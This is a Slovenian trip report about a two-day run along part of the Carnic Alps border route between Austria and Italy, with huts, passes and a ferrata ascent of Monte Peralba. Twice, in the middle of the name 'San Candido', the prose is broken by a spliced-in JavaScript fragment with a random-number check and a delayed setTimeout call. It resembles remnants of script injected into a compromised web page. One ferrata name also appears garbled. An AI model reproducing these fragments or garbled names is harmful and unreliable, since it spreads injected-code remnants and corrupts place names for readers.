Karnijske Alpe me zadnja leta kar kličejo in vedno bolj odkrivam zakaj. Ponujajo namreč divjo romantično pokrajino s travnatimi pobočji, globoke soteske, valoviti grebeni, najvišji vrhovi pa so skalnati. V letošnjem ‘čudnem’ poletju, nam je le uspelo preživeti dva dni v njihovi čarobnosti. Morda se spomnite, ko je zaradi slabega vremena odpadel Gran Paradiso, takrat so prišli na vrsto Karnijci – skupaj z legendarno ultrašico Klaro Bajec.

Za prvo spoznavanje z njimi smo si izbrali del povezovalne poti, ki preči Karnijske Alpe po mejnem grebenu med Avstrijo in Italijo in je brez vrhov v celoti dolga okoli 160 km z 10.000 vm. Italijansko varianto imenujejo »Traversata Carnica«, ki se začne v San Candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andido in zaključi v Trbižu, avstrijci pa so svojo »Karnischer Höhenweg« označili s »403« in se začne v Sillianu in zaključi v Thörl-Maglern (občina Podklošter). Tej poti deloma sledi tudi etapni tek 177k Ultra Trail Run, ki pa pri mejnih delih te poti izbere italijansko in ne avstrijske variante.

Z organizacijo nismo hoteli komplicirati, zato smo potrebovali le prevoz. V poletnem času jih veliko obišče sosednje Dolomite, zaradi katerih so tudi Karnijske Alpe manj poznane. V petek smo tako jaz, Klara in Tomi dobili prevoz do San Candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andida in pozno popoldne pričeli z vzponom čez travnato smučišče in še pred Riffugio Gallo Cedrone – Hahnspelthutte pod Monte Elmo smo dosegli višino 2000m, nad katero smo ostali praktično celo noč. Meglice iz neštetih jezer so nam zastirale pogled, ko smo obšli Sillianer Hutte, prečili prelaz Obermahdsattel, preko Cime di Pontegrotta (2580), La Muta (2592), Montago del Ferro (2665), mimo Obstansersee Hutte ob velikem jezeru Obstanser See. Po tracku 177k smo se tu spustili čez prelaz Roskopftorl na 1600m ter se čez prelaz Mitterstatel (2329) nazaj priključili na 403 ter ji sledili do Porzehutte, kjer smo v topli koči še pred zajtrkom gostov sede odspali pol urce.

Ob poti, ki  je večinoma dobro označena z oznakami na poti in s tablami, je veliko tudi planinskih koč, pri katerih pa moraš biti pozoren ali je privatna ali članica planinske zveze. Cene prenočitev s člansko kartico PZS so namreč v avstrijskih kočah z oznako »Alpenvereinshütten« in italijanskih z oznako »CAI« povsem primerljive s cenami v Sloveniji.

Grebensko pot smo tu začasno zapustili in se ob gorski reki Giau Dignon spustili v Val Visdende na 1200m. Odprta pekarna in kava na sončku nam je dala energije za ponovni vzpon po prelepi divji dolini Fleons pod mogočnimi skalami Peralbe in Cogliansa, njihovima svetima gorama. Vsak del tega pogorja ima svoje posebnosti in skalnati deli nad travnatimi pobočji res naredijo mogočen vtis. Vode je v Karnijcih veliko, vendar nas je vročina vseeno  kar zdelala in smo potrebovali rehidracijo v koči Rifugio Calvi nad izvirom reke Piave. Za vzpon na Monte Perlabo, ki je z 2964m tretji najvišji vrh Karnijskih Alp in z razgledom vse do Lienških Dolomitov ter Visokih tur, smo izbrali Ferrata 14_Pog14Sartor ter sestopili po lažji proti sedlu Sesis. Ker nas je prevoz v dopoldanskih urah čakal v Maria Luggau, smo prenočili v Hochweissteinhaus, kjer smo hitro zaslišali tudi domačo govorico pohodnikov, ki so prav tako v nekaj dneh prišli po isti poti.

Zjutraj nas je v jutranji meglici čakal prelep spust po gorski dolini preko urejenih avstrijskih planin. Čeprav se to redko zgodi, smo izpustili Sonnstein (Sončni kamen), ki mora biti zelo lep in nezahteven vrh nad vasico Frohn. Igra z metulji, pogovor z avtohtonimi prebivalci (kravami), sestavljanje kamnitih pastirčkov in še marsikaj je dokaz, da smo ultraši velikokrat zelo počasni a vztrajni. Karnijske smo tokrat spoznali le delno, saj smo naredili le malo več kot 90 km. Vezna pot je zelo lepa, vendar so nam manjkali vrhovi. Prav tako moramo prepoznati še čare osrednjega in vzhodnega del, pa tudi na vrhove zahodnega se vrnemo, morda že v zimskem času.